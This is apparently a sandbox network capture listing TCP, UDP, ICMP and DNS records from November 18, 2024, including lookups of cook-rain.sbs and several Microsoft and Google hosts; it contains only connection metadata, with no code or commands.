Nov 18, 2024 02:35:01.892822981 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.892836094 CET	50042	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.892843008 CET	443	50042	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.895684958 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.895708084 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.895787954 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.895935059 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:01.895950079 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:01.978055954 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:01.978102922 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:01.978209972 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:01.979569912 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:01.979588985 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:02.139864922 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.140459061 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.140487909 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.141052961 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.141062975 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.238444090 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.238935947 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.238950014 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.239532948 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.239540100 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.268616915 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.268640995 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.268697977 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.268817902 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.268819094 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.268959045 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.268980980 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.268995047 CET	50044	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.269001961 CET	443	50044	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.272077084 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.272105932 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.272416115 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.272416115 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.272449970 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.369780064 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.369802952 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.369852066 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.369868994 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.369882107 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.369930029 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.370260954 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.370280027 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.370294094 CET	50045	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.370302916 CET	443	50045	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.375596046 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.375634909 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.375689983 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.379848003 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.379862070 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.551513910 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.552020073 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.552059889 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.552654982 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.552661896 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.555558920 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.555927038 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.555938005 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.556338072 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.556344032 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.626198053 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.626739025 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.626759052 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.627221107 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.627235889 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682048082 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682130098 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682238102 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.682389975 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.682410955 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682423115 CET	50047	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.682429075 CET	443	50047	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682691097 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682807922 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.682862997 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.684078932 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.684106112 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.684130907 CET	50046	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.684139013 CET	443	50046	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.693654060 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.693677902 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.693741083 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.694736004 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.694781065 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.694844961 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.694927931 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.694942951 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.695029020 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.695044994 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.756783962 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.756953001 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.757234097 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.757234097 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.757323027 CET	50048	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.757344961 CET	443	50048	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.759792089 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.759819031 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.759884119 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.760024071 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:02.760040045 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:02.836304903 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:02.836509943 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:02.838141918 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:02.838148117 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:02.838474035 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:02.847496986 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:02.891367912 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.007936954 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.011045933 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.011056900 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.011384964 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.011389971 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.113039970 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.113466024 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.113483906 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.113976955 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.113982916 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.130959988 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.131016016 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.131058931 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.131129026 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.131129026 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.131156921 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.131242990 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.132980108 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.133023977 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.133079052 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.133079052 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.133094072 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.133280039 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.135386944 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.135909081 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.135909081 CET	50049	443	192.168.2.6	20.12.23.50
Nov 18, 2024 02:35:03.135926962 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.135938883 CET	443	50049	20.12.23.50	192.168.2.6
Nov 18, 2024 02:35:03.140918016 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.143167019 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.143229961 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.143291950 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.143291950 CET	50050	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.143320084 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.143332958 CET	443	50050	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.145838976 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.145874023 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.146327019 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.146492004 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.146507978 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.245402098 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.245660067 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.245706081 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.245779991 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.245847940 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.245863914 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.245874882 CET	50051	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.245881081 CET	443	50051	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.494893074 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.495706081 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.495728970 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.496143103 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.496150017 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.625267029 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.625437021 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.625520945 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.626951933 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.626966953 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.626983881 CET	50054	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.626991034 CET	443	50054	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.802105904 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.836930037 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.836956024 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.843508959 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.843524933 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.871119976 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.888391972 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.888412952 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.888674974 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.888680935 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.970870972 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.970947027 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.971046925 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.971229076 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.971247911 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:03.971261024 CET	50052	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:03.971268892 CET	443	50052	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.011713028 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.011784077 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.011882067 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.013482094 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.013503075 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.013514042 CET	50055	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.013520956 CET	443	50055	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.462833881 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.467248917 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.467271090 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.467710972 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.467719078 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.605252028 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.605329037 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.605442047 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.605618000 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.605638027 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:04.605649948 CET	50053	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:35:04.605658054 CET	443	50053	13.107.246.45	192.168.2.6
Nov 18, 2024 02:35:22.506123066 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:22.506162882 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:22.506266117 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:22.507034063 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:22.507045984 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.606700897 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.606894016 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.608603954 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.608617067 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.609385967 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.611112118 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.611164093 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.611262083 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.611274004 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.651379108 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.858000994 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.858500957 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.858517885 CET	443	50056	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:23.858541965 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:23.858587027 CET	50056	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:38.268021107 CET	64870	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:35:38.272996902 CET	53	64870	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:38.273106098 CET	64870	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:35:38.273322105 CET	64870	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:35:38.278215885 CET	53	64870	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:38.877523899 CET	53	64870	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:38.878973961 CET	64870	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:35:38.884561062 CET	53	64870	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:38.884615898 CET	64870	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:35:40.746937990 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:40.746963024 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:40.747030973 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:40.747226000 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:40.747231960 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:41.604193926 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:41.604619980 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:41.604631901 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:41.604959965 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:41.605338097 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:41.605424881 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:41.650916100 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:43.401104927 CET	49704	80	192.168.2.6	93.184.221.240
Nov 18, 2024 02:35:43.401236057 CET	49703	443	192.168.2.6	40.126.32.74
Nov 18, 2024 02:35:43.407150030 CET	80	49704	93.184.221.240	192.168.2.6
Nov 18, 2024 02:35:43.407181978 CET	443	49703	40.126.32.74	192.168.2.6
Nov 18, 2024 02:35:43.407253027 CET	49704	80	192.168.2.6	93.184.221.240
Nov 18, 2024 02:35:43.407270908 CET	49703	443	192.168.2.6	40.126.32.74
Nov 18, 2024 02:35:46.653378963 CET	49707	443	192.168.2.6	40.126.32.74
Nov 18, 2024 02:35:46.659392118 CET	443	49707	40.126.32.74	192.168.2.6
Nov 18, 2024 02:35:46.659461021 CET	49707	443	192.168.2.6	40.126.32.74
Nov 18, 2024 02:35:51.564788103 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:51.564812899 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:51.564879894 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:51.565481901 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:51.565495014 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:51.626065969 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:51.626156092 CET	443	64872	142.250.184.228	192.168.2.6
Nov 18, 2024 02:35:51.626229048 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:52.671184063 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.671371937 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.672780037 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.672791004 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.673136950 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.674590111 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.674657106 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.674663067 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.674788952 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.719345093 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.923151970 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.923604965 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.923623085 CET	443	64874	40.115.3.253	192.168.2.6
Nov 18, 2024 02:35:52.923640013 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:52.923677921 CET	64874	443	192.168.2.6	40.115.3.253
Nov 18, 2024 02:35:53.294812918 CET	64872	443	192.168.2.6	142.250.184.228
Nov 18, 2024 02:35:53.294831038 CET	443	64872	142.250.184.228	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 02:34:08.591672897 CET	57820	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:08.630697966 CET	53	57820	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:36.422156096 CET	53	55142	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:36.435343981 CET	53	60383	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:37.682673931 CET	53	59301	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:40.706708908 CET	60521	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:40.706990004 CET	61979	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:40.713721037 CET	53	60521	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:40.714050055 CET	53	61979	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:40.726212978 CET	64293	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:40.726375103 CET	65519	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:45.230741978 CET	53	58976	1.1.1.1	192.168.2.6
Nov 18, 2024 02:34:46.228058100 CET	61123	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:46.228449106 CET	51206	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:34:54.770212889 CET	53	62653	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:13.663506031 CET	53	59510	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:35.991458893 CET	53	64833	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:36.621166945 CET	53	57414	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:38.267344952 CET	53	59813	1.1.1.1	192.168.2.6
Nov 18, 2024 02:35:46.237314939 CET	57555	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:35:46.237479925 CET	50174	53	192.168.2.6	1.1.1.1
Nov 18, 2024 02:36:07.330477953 CET	53	64346	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 18, 2024 02:34:37.357764006 CET	192.168.2.6	1.1.1.1	c2e5	(Port unreachable)	Destination Unreachable
Nov 18, 2024 02:34:40.770486116 CET	192.168.2.6	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable
Nov 18, 2024 02:34:42.482609034 CET	192.168.2.6	1.1.1.1	c2e5	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 02:34:08.591672897 CET	192.168.2.6	1.1.1.1	0x2bab	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.706708908 CET	192.168.2.6	1.1.1.1	0x3772	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.706990004 CET	192.168.2.6	1.1.1.1	0x2cfb	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 02:34:40.726212978 CET	192.168.2.6	1.1.1.1	0x99ac	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.726375103 CET	192.168.2.6	1.1.1.1	0xc8b6	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 02:34:46.228058100 CET	192.168.2.6	1.1.1.1	0xe660	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:46.228449106 CET	192.168.2.6	1.1.1.1	0xb4eb	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 18, 2024 02:35:46.237314939 CET	192.168.2.6	1.1.1.1	0x8b23	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:35:46.237479925 CET	192.168.2.6	1.1.1.1	0x1b33	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 02:34:08.630697966 CET	1.1.1.1	192.168.2.6	0x2bab	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:08.630697966 CET	1.1.1.1	192.168.2.6	0x2bab	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.713721037 CET	1.1.1.1	192.168.2.6	0x3772	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 18, 2024 02:34:40.714050055 CET	1.1.1.1	192.168.2.6	0x2cfb	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 02:34:40.732810974 CET	1.1.1.1	192.168.2.6	0x5d97	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 02:34:40.732856989 CET	1.1.1.1	192.168.2.6	0xe5f5	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
